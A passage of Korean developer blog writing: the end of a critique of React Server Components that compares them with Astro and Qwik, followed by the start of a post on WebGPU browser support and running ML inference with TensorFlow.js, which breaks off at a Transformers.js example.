주니어 개발자에게 "이 컴포넌트는 서버에서 실행되고, 저 컴포넌트는 클라이언트에서 실행되고, 이 함수는 서버 액션이라서..."를 설명하는 게 쉬운 일이 아니다. React가 "UI 라이브러리"라는 단순한 정체성에서 벗어나 "풀스택 아키텍처"가 되면서 진입 장벽이 높아졌다.

### 성능이 기대만큼 좋지 않다

이론적으로 RSC는 성능 향상을 약속한다. 하지만 현실은 다르다.

- **서버 부하 증가**: 모든 요청마다 서버에서 컴포넌트를 렌더링해야 한다. 트래픽이 많은 서비스에서는 서버 비용이 급증할 수 있다.
- **스트리밍 설계의 복잡성**: RSC는 Suspense와 스트리밍을 통해 점진적 렌더링이 가능하지만, 제대로 설계하지 않으면 오히려 waterfall이 발생할 수 있다.
- **캐싱 복잡성**: 정적 생성(SSG)만큼 단순하지 않다. 무엇을 캐시하고, 언제 재검증할지 매번 고민해야 한다.

솔직히 많은 프로젝트에서 "그냥 SPA + API"가 더 나은 선택일 수 있다. 특히 대시보드, 어드민 패널 같은 SEO가 필요 없는 앱에서는 RSC의 이점이 크지 않다.

### Next.js와의 강결합

개인적으로 가장 우려되는 부분이다. RSC는 React의 기능이지만, 실질적으로 Next.js 없이는 쓰기 어렵다.

React 공식 문서조차 "프레임워크와 함께 사용하라"고 권장한다. Vite로 React 앱을 만들면? RSC 없다. Create React App? 이미 deprecated됐고, RSC 지원 없다. React Router(구 Remix)? [2025년부터 RSC 프리뷰를 지원](https://remix.run/blog/rsc-preview)하기 시작했지만 아직 안정화 단계는 아니다.

```bash
# 사실상 이게 유일한 선택지
npx create-next-app@latest
```

이건 React 생태계의 건강성에 대한 우려로 이어진다. Vercel이라는 단일 기업이 React의 방향성에 너무 큰 영향을 미치고 있다. Next.js의 캐싱 전략이 논란이 되면 React 개발자 전체가 영향을 받는다. Next.js 15에서 캐싱 기본값이 바뀌면서 얼마나 많은 앱이 깨졌는지 생각해보라.

"React를 쓴다"가 "Next.js를 쓴다"와 거의 동의어가 되어가는 현상은 개인적으로 조금 우려스럽다. 선택지가 줄어드는 것은 종속(lock-in)으로 이어질 수 있기 때문이다.

물론 다른 시각도 있다. 요즘 오픈소스 생태계를 보면 자금난과 투자 부족으로 유지보수가 중단되거나 개발자가 번아웃되는 프로젝트가 많다. 그런 상황에서 Vercel처럼 지속적으로 투자하고, React 생태계를 끌고 나가는 조직이 있다는 건 나쁘지 않다. RSC라는 야심찬 실험을 프로덕션 레벨까지 끌어올린 것도 쉬운 일은 아니었을 것이다.

### 디버깅의 어려움

서버에서 실행되는 코드와 클라이언트에서 실행되는 코드가 뒤섞이면서 디버깅이 복잡해졌다.

```tsx
// 이 에러는 어디서 발생한 걸까?
async function ProductPage({id}) {
  const product = await getProduct(id) // 서버
  return <ProductView product={product} /> // 서버
}

// prettier-ignore
;'use client'
function ProductView({product}) {
  const [qty, setQty] = useState(1) // 클라이언트
  // 여기서 에러가 나면... 서버 로그? 브라우저 콘솔?
}
```

에러 스택 트레이스가 서버와 클라이언트를 넘나들고, 어떤 코드가 어디서 실행됐는지 추적하기가 까다롭다. React DevTools도 이 새로운 모델에 완전히 적응하지 못했다.

**Server Actions는 디버깅을 더 어렵게 만든다.** 클라이언트에서 호출하지만 서버에서 실행되는 함수라니, 개념부터 혼란스럽다.

```tsx
'use server'
async function submitOrder(formData: FormData) {
  const items = formData.getAll('items')
  await db.orders.create({items}) // 서버에서 실행
  revalidatePath('/orders')
}

// 클라이언트 컴포넌트에서 호출
// prettier-ignore
;'use client'
function OrderForm() {
  return (
    <form action={submitOrder}>
      {' '}
      {/* 이게 어디서 실행되는 거지? */}
      <button type="submit">주문하기</button>
    </form>
  )
}
```

`submitOrder`에서 에러가 발생하면? 브라우저 콘솔에는 모호한 에러 메시지만 뜨고, 실제 스택 트레이스는 서버 로그에 있다. 브레이크포인트를 어디에 걸어야 할지, 네트워크 탭에서 뭘 봐야 할지 처음엔 감이 안 온다. 기존 REST API는 요청/응답이 명확했는데, Server Actions는 그 경계가 추상화되어 있어서 문제가 생겼을 때 원인을 찾기가 더 어렵다.

## 대안은 있는가? 프레임워크 비교

RSC/Next.js만이 "서버로의 회귀"를 구현한 건 아니다. 다른 프레임워크들은 같은 문제를 어떻게 풀고 있을까?

### Astro: Zero JavaScript by Default

Astro는 완전히 다른 접근법을 취한다. 기본적으로 JavaScript를 전혀 전송하지 않는다.

```jsx
---
// 이 코드는 빌드 시점에 서버에서 실행됨
const posts = await fetchPosts()
---

<ul>
  {posts.map(post => <li>{post.title}</li>)}
</ul>

<!-- 상호작용이 필요한 부분만 "island"로 -->
<LikeButton client:visible />
```

Astro의 "Islands Architecture"는 페이지의 대부분을 정적 HTML로 두고, 상호작용이 필요한 "섬"만 JavaScript로 하이드레이션한다. RSC와 비슷한 목표지만, React에 종속되지 않는다. Vue, Svelte, React 등 어떤 UI 라이브러리든 사용할 수 있다.

**벤치마크 결과**: Astro는 콘텐츠 중심 사이트에서 Next.js를 압도적으로 앞선다. JavaScript가 없으니 당연한 결과다. 2024년 기준 25%의 개발자가 Astro를 사용 중이다.

### Qwik: Resumability로 하이드레이션 자체를 제거

Qwik은 더 급진적이다. 하이드레이션이라는 개념 자체를 없앴다.

#### Hydration vs Resumability

먼저 기존 하이드레이션의 문제를 이해해야 한다. React SSR에서 하이드레이션은 다음과 같이 동작한다.

```mermaid
sequenceDiagram
    participant Server
    participant Browser
    participant React

    Server->>Browser: HTML 전송
    Browser->>Browser: HTML 파싱 및 표시
    Browser->>Browser: JS 번들 다운로드
    Browser->>React: 전체 컴포넌트 트리 실행
    React->>React: 가상 DOM 생성
    React->>Browser: 이벤트 리스너 연결
    Note over Browser: 이제야 상호작용 가능
```

문제는 **서버에서 이미 한 일을 클라이언트에서 다시 한다**는 것이다. 컴포넌트를 실행하고, 가상 DOM을 만들고, 이벤트 리스너를 연결한다. 페이지가 복잡할수록 이 과정이 오래 걸리고, 그동안 사용자는 화면을 보면서도 클릭할 수 없는 "uncanny valley" 상태에 놓인다.

Qwik의 Resumability는 이 문제를 근본적으로 해결한다.

```mermaid
sequenceDiagram
    participant Server
    participant Browser
    participant Qwik

    Server->>Browser: HTML + 직렬화된 상태 전송
    Browser->>Browser: HTML 파싱 및 표시
    Note over Browser: 즉시 상호작용 가능
    Browser->>Qwik: 클릭 발생 시 해당 핸들러만 로드
    Qwik->>Browser: 이벤트 처리
```

핵심 차이점은 다음과 같다.

|                   | Hydration (React)  | Resumability (Qwik) |
| ----------------- | ------------------ | ------------------- |
| **초기 JS 실행**  | 전체 컴포넌트 트리 | 없음 (0ms)          |
| **상호작용 시점** | JS 실행 완료 후    | HTML 로드 즉시      |
| **이벤트 핸들러** | 모두 미리 연결     | 필요할 때 lazy load |
| **상태 복원**     | 컴포넌트 재실행    | HTML에서 역직렬화   |

Qwik은 서버에서 렌더링할 때 컴포넌트의 상태와 이벤트 핸들러 위치를 HTML 속성으로 직렬화한다. 클라이언트에서는 이 정보를 읽어서 "재개(resume)"하기만 하면 된다. 사용자가 버튼을 클릭하면 그때서야 해당 이벤트 핸들러 코드만 다운로드하고 실행한다.

```tsx
// Qwik 컴포넌트 - $는 lazy loading 경계를 의미
export const Counter = component$(() => {
  const count = useSignal(0)

  // onClick$: 클릭 시에만 이 핸들러 코드가 로드됨
  return <button onClick$={() => count.value++}>Count: {count.value}</button>
})
```

`$` 접미사가 붙은 함수는 별도의 청크로 분리되어, 실제로 필요할 때만 네트워크를 통해 가져온다. 이것이 Qwik이 초기 JS를 거의 0에 가깝게 유지하는 비결이다.

**벤치마크 결과**: Qwik은 TTI(Time to Interactive) 0.5초, TBT(Total Blocking Time) 0초를 기록한다. Next.js App Router와 비교하면 cold-load 성능에서 거의 항상 Qwik이 이긴다.

### 프레임워크 비교 정리

| 특성                  | Next.js (RSC)                  | Astro                 | Qwik                |
| --------------------- | ------------------------------ | --------------------- | ------------------- |
| **기본 JS 전송**      | React 런타임 필요              | Zero JS               | 최소한의 JS         |
| **하이드레이션**      | 선택적 (클라이언트 컴포넌트만) | 부분적 (Islands)      | 없음 (Resumability) |
| **상호작용성**        | 완전한 React 기능              | 제한적 (Island 단위)  | 완전한 기능         |
| **생태계**            | 가장 큼 (React)                | 다양한 UI 라이브러리  | 성장 중             |
| **적합한 유스케이스** | 풀스택 앱, SaaS                | 콘텐츠 사이트, 블로그 | 성능 최우선 앱      |
| **러닝 커브**         | 높음                           | 낮음                  | 중간                |

벤치마크 결과를 보면, 순수 성능 면에서는 Qwik이나 Astro가 Next.js보다 나은 경우가 많은 것 같다. RSC의 "번들 40% 감소"는 React 앱 기준이라는 점도 고려해야 한다.

## 마이그레이션은?

이론은 그렇다 치고, 실제로 RSC를 도입하면 어떤 일이 벌어질까?

### 마이그레이션의 실상

[State of React 2024 조사](https://2024.stateofreact.com/en-US/conclusion/)에 따르면, React 개발자의 50% 이상이 RSC에 호감을 갖고 있지만, 실제로 사용해본 개발자는 약 29%에 불과하다. 이론적 매력과 실무 도입 사이에 간극이 있다는 뜻이다.

### 흔히 겪는 문제들

**서드파티 라이브러리 호환성**: 많은 인기 라이브러리들이 여전히 클라이언트 중심이다. 서버 컴포넌트 안에서 사용하면 하이드레이션 에러가 터지거나, 온갖 우회 방법을 써야 한다.

```tsx
// 이런 식의 에러를 만나게 된다
// Error: useState can only be used in Client Components.
// Add the "use client" directive to use it.
```

**더 엄격해진 경계**: Next.js에서는 서버 컴포넌트에서 클라이언트 컴포넌트로 함수를 직접 전달하면 [직렬화 문제로 에러가 발생](https://github.com/vercel/next.js/discussions/49625)한다.

```text
Error: Functions cannot be passed directly to Client Components
unless you explicitly expose it by marking it with 'use server'.
```

이벤트 핸들러를 props로 전달하는 익숙한 패턴이 작동하지 않아 당황하는 경우가 많다.

**성능 개선 효과는 케이스바이케이스**: React 팀의 초기 탐색 결과에 따르면 번들 크기가 18-29% 감소할 수 있다고 한다. 일부 사례에서는 [최대 62%까지 감소](https://medium.com/@jaivalsuthar/how-i-reduced-our-react-bundle-by-62-a-junior-developers-optimization-journey-e0f5a2ca6ee6)하고 INP가 250ms에서 175ms로 개선된 경우도 있다. 하지만 이런 수치는 앱의 구조와 `'use client'` 적용 방식에 따라 크게 달라질 수 있다.

### 피해야 할 안티패턴

**1. 무작정 'use client' 남발**

RSC가 어렵다고 모든 곳에 `'use client'`를 붙이는 건 최악의 선택이다. 그러면 RSC를 쓰는 의미가 없다.

**2. 동적 서버 컴포넌트가 전체 렌더링을 블로킹**

서버 컴포넌트에서 무거운 데이터 페칭을 하면서 Suspense를 쓰지 않으면, 사용자는 빈 화면을 오래 본다.

```tsx
// 이러면 안 된다
async function SlowPage() {
  const data = await verySlowDatabaseQuery() // 전체 페이지 블로킹
  return <Content data={data} />
}

// 이렇게 해야 한다
async function BetterPage() {
  return (
    <Suspense fallback={<Loading />}>
      <SlowContent />
    </Suspense>
  )
}
```

### 마이그레이션 팁

일반적으로 권장되는 접근법들이다.

- **점진적 마이그레이션**: 한 번에 다 바꾸지 말고, 기능 단위로 나눠서 마이그레이션하는 것이 안전하다
- **읽기 중심 페이지부터**: 블로그, 문서, 상품 목록처럼 상호작용이 적은 페이지에서 RSC의 효과가 크다
- **라이브러리 호환성 확인**: 마이그레이션 전에 주요 서드파티 라이브러리들의 RSC 지원 여부를 체크하는 것이 좋다

## 결론

React Server Components는 PHP/JSP 시절로의 단순한 회귀는 아닌 것 같다. 그렇다고 모든 문제를 해결한 혁명이라고 보기도 어렵다. 개인적으로는 새로운 문제들도 함께 가져왔다고 느낀다.

RSC는 **나선형 발전**의 한 단계다. 서버 렌더링의 장점과 SPA의 장점을 컴포넌트 레벨에서 조합할 수 있게 해준다. 하지만 그 나선을 오르는 데 드는 비용이 만만치 않다. 러닝 커브, 프레임워크 종속, 디버깅 복잡성, 그리고 기대만큼 뛰어나지 않은 성능까지.

"React가 이제 PHP랑 똑같다"는 비판은 다소 과장된 것 같다. 하지만 "RSC가 프론트엔드의 미래"라는 주장에도 동의하기 어렵다. Astro나 Qwik 같은 대안들이 더 나은 성능을 보여주는 경우도 있고, React 없이도 좋은 웹 앱을 만들 수 있다.

개인적인 생각을 정리하면 이렇다.

- **RSC가 적합한 경우**: SEO가 중요하고, 이미 React 생태계에 익숙하며, Next.js 종속을 감수할 수 있는 프로젝트
- **RSC가 과한 경우**: 어드민 대시보드, 내부 도구, SEO가 필요 없는 앱. 그냥 Vite + React SPA가 더 단순하다.
- **아예 다른 선택지**: 콘텐츠 중심 사이트라면 Astro가, 극한의 성능이 필요하다면 Qwik이나 SolidStart가 더 나을 수 있다.

프론트엔드 아키텍처의 진자는 분명 서버 쪽으로 다시 움직이고 있다. 하지만 React/Next.js만이 그 방향의 유일한 답은 아니다. RSC는 한 가지 해법일 뿐이고, 그것도 상당한 트레이드오프를 동반한다.

"모든 프로젝트에 RSC를 써야 한다"는 생각은 조심스럽다고 본다. 기술 선택은 항상 맥락에 따라 달라져야 하지 않을까. RSC가 가져온 가능성은 분명 있지만, 그 복잡성과 제약도 함께 고려해봐야 할 것 같다.

## 부록: 죽은 프레임워크 이론

앞서 Qwik과 Astro가 벤치마크에서 Next.js를 압도한다고 했다. 그런데 왜 여전히 React/Next.js가 지배적일까? 기술적 우수성만으로는 설명이 안 된다.

["죽은 프레임워크 이론(Dead Framework Theory)"](https://aifoc.us/dead-framework-theory/)이라는 글이 하나의 답을 제시한다. React가 더 이상 다른 프레임워크와 경쟁하는 게 아니라 **플랫폼 자체가 되었다**는 것이다.

핵심은 자기강화 순환 고리(Self-Reinforcing Loop)다.

```mermaid
flowchart LR
    A[React가 웹을 지배] --> B[LLM이 React로 학습]
    B --> C[LLM이 React 코드 생성]
    C --> D[더 많은 React 사이트]
    D --> A
```

LLM들은 웹에서 학습 데이터를 수집하는데, 웹의 대부분이 React로 만들어져 있다. 그래서 LLM에게 코드를 요청하면 React 코드가 나온다. Cursor, Copilot, v0 같은 도구들이 React를 기본값으로 출력하면서, 더 많은 React 사이트가 만들어진다. 이 순환이 반복된다.

새로운 프레임워크가 등장해도 LLM 학습 데이터에 반영되려면 12-18개월이 걸린다. 그 사이에 React 생태계는 수백만 개의 새로운 사이트를 생성한다. Qwik이나 Astro가 기술적으로 아무리 우수해도, 이 **통계적 지배력**을 이기기는 쉽지 않다는 것이다.

물론 이건 하나의 시각일 뿐이고, 기술의 미래를 단정하기는 어렵다. 하지만 "왜 React/Next.js가 쉽게 대체되지 않는가"에 대한 하나의 설명으로는 꽤 설득력이 있다.

그래서 결론이 뭘까? RSC는 절대적인 정답이 아니다. 기술적으로 더 나은 대안도 있다. 하지만 현실적으로 React 생태계의 관성은 쉽게 바뀌지 않을 것이다. 중요한 건 이 모든 맥락을 이해하고, 자신의 상황에 맞는 선택을 하는 것이다. 트렌드를 맹목적으로 따르지도 말고, 순수한 기술적 우수성만 보고 판단하지도 말자. 팀의 역량, 프로젝트의 요구사항, 생태계의 현실을 함께 고려해서 합리적인 결정을 내릴 수 있어야 한다.

## 참고

- [The Two Reacts - Dan Abramov](https://overreacted.io/the-two-reacts/)
- [One Roundtrip Per Navigation - Dan Abramov](https://overreacted.io/one-roundtrip-per-navigation/)
- [Impossible Components - Dan Abramov](https://overreacted.io/impossible-components/)
- [State of React 2024](https://2024.stateofreact.com/en-US/conclusion/)
- [Where do React Server Components fit in the history of web development?](https://dev.to/matfrana/where-do-react-server-components-fit-in-the-history-of-web-development-1l0f)
- [Rethinking React best practices - Frontend Mastery](https://frontendmastery.com/posts/rethinking-react-best-practices/)
- [Making Sense of React Server Components - Josh W. Comeau](https://www.joshwcomeau.com/react/server-components/)
- [React Server Components: What are They? - thoughtbot](https://thoughtbot.com/blog/should-you-react-on-the-server)
- [Understanding React Server Components - Vercel](https://vercel.com/blog/understanding-react-server-components)
- [Next.js vs. Qwik vs. Astro: The Future of Frontend Frameworks](https://metamatrixtech.com/blogs/2025/03/06/next-js-vs-qwik-vs-astro-the-future-of-frontend-frameworks/)
- [React Server Components: Do They Really Improve Performance?](https://www.developerway.com/posts/react-server-components-performance)
- [Next.js Discussion: Functions cannot be passed directly to Client Components](https://github.com/vercel/next.js/discussions/49625)
- [Builder.io Framework Benchmarks](https://github.com/BuilderIO/framework-benchmarks)
- [React Router RSC Preview](https://remix.run/blog/rsc-preview)
- [Dead Framework Theory](https://aifoc.us/dead-framework-theory/)

---

Source: https://yceffort.kr/2025/12/webgpu-all-browsers.md
Title: WebGPU, 드디어 모든 브라우저에서 사용 가능해지다
Description: 2025년 7월, 14년 만에 브라우저 GPU API 세대교체가 완료됐다
Date: 2025-12-30
Tags: webgpu, ai, browser

## Table of Contents

## 서론

2025년 7월, Firefox 141이 WebGPU를 정식 지원하면서 Chrome, Edge, Safari, Firefox 네 개 주요 브라우저 모두에서 WebGPU를 사용할 수 있게 됐다. WebGL이 2011년에 등장한 이후 14년 만의 브라우저 GPU API 세대교체다.

| 브라우저 | 지원 시작         | 비고                         |
| -------- | ----------------- | ---------------------------- |
| Chrome   | 2023년 4월 (v113) | Windows, macOS, ChromeOS     |
| Edge     | 2023년 4월 (v113) | Chrome과 동일                |
| Safari   | 2025년 6월 (v26)  | macOS, iOS, iPadOS, visionOS |
| Firefox  | 2025년 7월 (v141) | Windows, macOS ARM64(v145)   |

Chrome이 2년 먼저 지원했지만, Safari와 Firefox가 올해 연달아 합류하면서 이제 [데스크톱 브라우저의 약 85%](https://web.dev/blog/webgpu-supported-major-browsers)에서 WebGPU를 쓸 수 있다. 프로덕션에서 WebGPU를 고려해볼 만한 시점이 된 것이다.

## WebGL vs WebGPU: 무엇이 다른가

WebGL은 2011년에 나온 API다. 14년 전이다. 그때는 iPhone 4S가 최신폰이었고, GPU는 지금과 비교하면 장난감 수준이었다. 문제는 그동안 GPU 하드웨어가 완전히 달라졌는데, WebGL은 그대로라는 것이다.

### WebGL의 한계

WebGL의 근본적인 문제는 두 가지다.

**1. 상태 머신 방식**

WebGL은 전역 상태를 계속 바꿔가면서 그린다. 뭔가를 그리려면 먼저 "현재 버퍼", "현재 텍스처", "현재 셰이더"를 설정하고, 그 다음에 draw 명령을 호출한다.

```javascript
// WebGL: 전역 상태를 계속 변경
gl.bindBuffer(gl.ARRAY_BUFFER, buffer1)
gl.bindTexture(gl.TEXTURE_2D, texture1)
gl.useProgram(program1)
gl.drawArrays(gl.TRIANGLES, 0, 3) // 이 시점의 "현재 상태"로 그림

gl.bindBuffer(gl.ARRAY_BUFFER, buffer2) // 상태 변경
gl.bindTexture(gl.TEXTURE_2D, texture2) // 또 변경
gl.useProgram(program2) // 또 변경
gl.drawArrays(gl.TRIANGLES, 0, 3) // 바뀐 상태로 그림
```

매 draw 호출마다 드라이버가 "지금 뭐가 바인딩되어 있지? 셰이더 입력이랑 버퍼 레이아웃이 맞나?"를 검증한다. 이 오버헤드가 쌓이면 CPU 병목이 된다.

**2. 즉시 실행 모델**

WebGL은 API 호출이 즉시 드라이버로 전달된다. JavaScript에서 `gl.bindBuffer()`를 호출하면 그 즉시 드라이버가 상태를 변경한다. 명령 100개를 보내면 100번의 JS↔드라이버 왕복이 발생한다.

### WebGPU의 접근 방식

WebGPU는 이 문제를 두 가지 방식으로 해결한다.

**1. 명시적 바인딩**: 상태 머신 대신, 필요한 리소스를 미리 묶어서 파이프라인으로 만든다. 런타임에 상태 검증이 필요 없다.

**2. 커맨드 버퍼**: 명령을 즉시 실행하지 않고, 커맨드 버퍼에 기록해뒀다가 한 번에 GPU로 전송한다.

```javascript
// WebGPU: 명령을 기록하고 한 번에 제출
const commandEncoder = device.createCommandEncoder()

const pass1 = commandEncoder.beginRenderPass(renderPassDescriptor1)
pass1.setPipeline(pipeline1) // 미리 컴파일된 파이프라인
pass1.setBindGroup(0, bindGroup1) // 리소스 묶음
pass1.draw(3)
pass1.end()

const pass2 = commandEncoder.beginRenderPass(renderPassDescriptor2)
pass2.setPipeline(pipeline2)
pass2.setBindGroup(0, bindGroup2)
pass2.draw(3)
pass2.end()

// 모든 명령을 한 번에 GPU로 전송
device.queue.submit([commandEncoder.finish()])
```

### 기술적 차이 요약

| 구분           | WebGL                   | WebGPU                           |
| -------------- | ----------------------- | -------------------------------- |
| 기반 기술      | OpenGL ES (2007년 설계) | Vulkan/Metal/D3D12 (2015년 이후) |
| 명령 처리      | 즉시 실행, 매번 검증    | 기록 후 일괄 제출                |
| 상태 관리      | 전역 상태 머신          | 명시적 바인딩                    |
| 파이프라인     | 런타임 생성             | 미리 컴파일                      |
| Compute Shader | 미지원                  | 지원                             |
| 멀티스레딩     | 불가능                  | 가능                             |

결과적으로 WebGPU는 JavaScript와 GPU 사이의 병목을 크게 줄인다. Babylon.js의 Snapshot Rendering 기능은 WebGPU에서 [약 10배 빠른 렌더링](https://web.dev/blog/webgpu-supported-major-browsers)을 달성했다. 물론 극단적인 최적화 케이스지만, 드로우 콜이 많은 복잡한 씬에서 WebGPU의 이점이 확실하다.

### 더 중요한 차이: Compute Shader

근데 사실 그래픽 성능은 부차적인 이야기다. WebGPU의 진짜 중요한 점은 **Compute Shader**를 지원한다는 것이다.

WebGL은 "그래픽"만 할 수 있다. 삼각형을 그리고, 텍스처를 입히고, 화면에 픽셀을 찍는 것. 그게 전부다. 범용 연산을 하려면 꼼수를 써야 했다. 데이터를 텍스처에 인코딩하고, 셰이더로 "그림을 그리는 척"하면서 연산을 수행하고, 결과를 다시 텍스처에서 읽어오는 식이다. 느리고 제약이 많다.

WebGPU는 처음부터 범용 GPU 연산(GPGPU)을 지원한다. Compute Shader를 쓰면 GPU를 "그래픽 카드"가 아니라 "병렬 연산 장치"로 쓸 수 있다. 수천 개의 코어가 동시에 행렬 곱셈을 수행하고, 텐서 연산을 처리한다.

이 셰이더 코드는 WGSL(WebGPU Shading Language)이라는 별도 언어로 작성한다. JavaScript가 아니라 GPU에서 실행되는 코드다. JS에서는 이 코드를 문자열로 전달해서 컴파일하고 실행한다.

```javascript
// JavaScript에서 WGSL 셰이더를 문자열로 전달
const shaderCode = `
  @group(0) @binding(0) var<storage, read> input_a: array<f32>;
  @group(0) @binding(1) var<storage, read> input_b: array<f32>;
  @group(0) @binding(2) var<storage, read_write> output: array<f32>;

  @compute @workgroup_size(64)
  fn main(@builtin(global_invocation_id) id: vec3<u32>) {
    let index = id.x;
    output[index] = input_a[index] + input_b[index];
  }
`

// GPU에서 셰이더 컴파일
const shaderModule = device.createShaderModule({code: shaderCode})

// 파이프라인 생성 및 실행
const pipeline = device.createComputePipeline({
  layout: 'auto',
  compute: {module: shaderModule, entryPoint: 'main'},
})
```

이게 브라우저에서 AI inference를 실용적으로 돌릴 수 있는 핵심이다. 머신러닝 모델은 결국 행렬 연산의 연속인데, 이걸 GPU에서 네이티브로 처리할 수 있게 된 것이다. 물론 TensorFlow.js나 Transformers.js 같은 라이브러리를 쓰면 이런 저수준 코드를 직접 작성할 필요는 없다.

## 실제 성능 차이

그래서 실제로 얼마나 빨라질까?

### WebGPU vs WebGL vs CPU

[TensorFlow.js는 WebGPU 백엔드에서 WebGL 대비 약 3배 빠른 inference 성능](https://web.dev/blog/webgpu-supported-major-browsers)을 보여준다. 모델이 복잡할수록 격차가 더 벌어진다.

CPU에서 2-3초 걸리던 중간 크기 언어 모델 inference가 WebGPU로 200-400ms까지 줄어든다. 체감할 수 있는 수준이다.

| 백엔드     | Inference 시간 (상대값) | 비고             |
| ---------- | ----------------------- | ---------------- |
| CPU (WASM) | 10x                     | 기준             |
| WebGL      | 3x                      | 텍스처 기반 연산 |
| WebGPU     | 1x                      | Compute Shader   |

### 현실적인 한계

브라우저에서 실용적으로 돌릴 수 있는 건 5-10B 파라미터 이하 모델이다. GPT-4급 모델은 당연히 안 된다. 하지만 다음과 같은 작업은 충분히 가능하다:

- 텍스트 분류, 감성 분석
- 임베딩 생성
- 소형 LLM (Phi-3, Gemma 2B 등)
- 이미지 분류, 객체 감지
- 음성 인식 (Whisper tiny/base)

## 브라우저 ML 라이브러리

WebGPU를 직접 다루려면 셰이더 코드를 작성해야 하지만, 대부분의 경우 라이브러리를 쓰면 된다. WebGPU 백엔드를 지원하는 주요 라이브러리들을 소개한다.

### TensorFlow.js

Google에서 만든 브라우저/Node.js용 ML 라이브러리다. 가장 오래됐고 생태계가 넓다.

```bash
npm install @tensorflow/tfjs @tensorflow/tfjs-backend-webgpu
```

- **장점**: 풍부한 사전 훈련 모델, TensorFlow/Keras 모델 변환 지원, 안정적
- **단점**: 번들 사이즈가 큼, API가 저수준
- **적합한 용도**: 커스텀 모델, 기존 TensorFlow 모델 포팅

### Transformers.js

[Hugging Face](https://huggingface.co/)에서 만든 라이브러리다. Python의 `transformers` 라이브러리를 JavaScript로 포팅한 것으로, Hugging Face Hub의 모델들을 브라우저에서 바로 쓸 수 있다.

```bash
npm install @huggingface/transformers
```

- **장점**: 최신 모델 지원 (BERT, ViT, Whisper 등), 고수준 `pipeline()` API, ONNX 기반
- **단점**: TensorFlow.js보다 모델 종류가 적음
- **적합한 용도**: NLP, 이미지 분류, 음성 인식 등 일반적인 태스크

Hugging Face Hub에서 `ONNX` 태그가 붙은 모델은 대부분 Transformers.js에서 사용 가능하다. [Xenova](https://huggingface.co/Xenova) 네임스페이스에 WebGPU 최적화된 모델들이 많다.

### ONNX Runtime Web

Microsoft에서 만든 ONNX 모델 실행 런타임이다. Transformers.js도 내부적으로 이걸 쓴다.

```bash
npm install onnxruntime-web
```

- **장점**: ONNX 포맷 직접 지원, WebGPU/WebGL/WASM 백엔드 선택 가능
- **단점**: 저수준 API, 모델 로딩/전처리 직접 구현 필요
- **적합한 용도**: PyTorch/TensorFlow에서 변환한 ONNX 모델 실행

### 어떤 걸 써야 할까?

| 상황                     | 추천                               |
| ------------------------ | ---------------------------------- |
| NLP (임베딩, 분류, 요약) | Transformers.js                    |
| 이미지 분류/객체 감지    | Transformers.js 또는 TensorFlow.js |
| 커스텀 모델 학습         | TensorFlow.js                      |
| 기존 ONNX 모델 실행      | ONNX Runtime Web                   |
| 빠르게 프로토타입        | Transformers.js (`pipeline()` API) |

대부분의 경우 **Transformers.js**로 시작하는 걸 추천한다. `pipeline()` API가 직관적이고, WebGPU 설정도 `{device: 'webgpu'}` 한 줄이면 된다.

## 실전: TensorFlow.js로 WebGPU 사용해보기

직접 해보자. TensorFlow.js의 WebGPU 백엔드로 간단한 inference를 돌려보는 예제다.

### 1. 프로젝트 설정

```bash
npm init -y
npm install @tensorflow/tfjs @tensorflow/tfjs-backend-webgpu
```

### 2. WebGPU 백엔드 초기화

```typescript
import * as tf from '@tensorflow/tfjs'
import '@tensorflow/tfjs-backend-webgpu'

async function initWebGPU() {
  // WebGPU 지원 여부 확인
  if (!navigator.gpu) {
    console.error('WebGPU not supported')
    return false
  }

  // WebGPU 백엔드 설정
  await tf.setBackend('webgpu')
  await tf.ready()

  console.log('Backend:', tf.getBackend()) // 'webgpu'
  return true
}
```

### 3. 간단한 행렬 연산 벤치마크

WebGPU의 성능 차이를 직접 확인해보자.

```typescript
async function benchmark() {
  const size = 1024

  // 큰 행렬 생성
  const a = tf.randomNormal([size, size])
  const b = tf.randomNormal([size, size])

  // 워밍업 (첫 실행은 컴파일 시간 포함)
  const warmup = tf.matMul(a, b)
  await warmup.data()
  warmup.dispose()

  // 실제 벤치마크
  const iterations = 10
  const start = performance.now()

  for (let i = 0; i < iterations; i++) {
    const result = tf.matMul(a, b)
    await result.data() // GPU 연산 완료 대기
    result.dispose()
  }

  const elapsed = performance.now() - start
  console.log(`${size}x${size} matmul: ${(elapsed / iterations).toFixed(2)}ms`)

  // 메모리 정리
  a.dispose()
  b.dispose()
}
```

### 4. 사전 훈련된 모델 로드 및 inference

실제로 모델을 돌려보자. MobileNet으로 이미지 분류를 해본다.

```typescript
import * as tf from '@tensorflow/tfjs'
import '@tensorflow/tfjs-backend-webgpu'

async function classifyImage(imageElement: HTMLImageElement) {
  // WebGPU 초기화
  await tf.setBackend('webgpu')
  await tf.ready()

  // MobileNet 모델 로드
  const model = await tf.loadGraphModel(
    'https://tfhub.dev/google/tfjs-model/imagenet/mobilenet_v3_small_100_224/classification/5/default/1',
    {fromTFHub: true},
  )

  // 이미지 전처리
  const tensor = tf.browser
    .fromPixels(imageElement)
    .resizeBilinear([224, 224])
    .expandDims(0)
    .div(255.0)

  // Inference
  const start = performance.now()
  const predictions = model.predict(tensor) as tf.Tensor
  const data = await predictions.data()
  const elapsed = performance.now() - start

  console.log(`Inference time: ${elapsed.toFixed(2)}ms`)

  // Top 5 예측 결과
  const top5 = Array.from(data)
    .map((prob, i) => ({index: i, prob}))
    .sort((a, b) => b.prob - a.prob)
    .slice(0, 5)

  // 메모리 정리
  tensor.dispose()
  predictions.dispose()

  return {top5, inferenceTime: elapsed}
}
```

### 5. 백엔드 비교 유틸리티

WebGL과 WebGPU 성능을 직접 비교해보고 싶다면:

```typescript
async function compareBackends() {
  const backends = ['webgl', 'webgpu']
  const results: Record<string, number> = {}

  for (const backend of backends) {
    try {
      await tf.setBackend(backend)
      await tf.ready()

      const size = 512
      const a = tf.randomNormal([size, size])
      const b = tf.randomNormal([size, size])

      // 워밍업
      const warmup = tf.matMul(a, b)
      await warmup.data()
      warmup.dispose()

      // 벤치마크
      const start = performance.now()
      for (let i = 0; i < 20; i++) {
        const r = tf.matMul(a, b)
        await r.data()
        r.dispose()
      }
      results[backend] = (performance.now() - start) / 20

      a.dispose()
      b.dispose()
    } catch (e) {
      console.log(`${backend} not available`)
    }
  }

  console.table(results)
}
```

## 실전: Transformers.js로 텍스트 임베딩

좀 더 실용적인 예제로, Transformers.js를 사용해서 텍스트 임베딩을 생성해보자. 검색, 유사도 비교, RAG 시스템에서 유용하게 쓸 수 있다.

```typescript
import {pipeline} from '@huggingface/transformers'

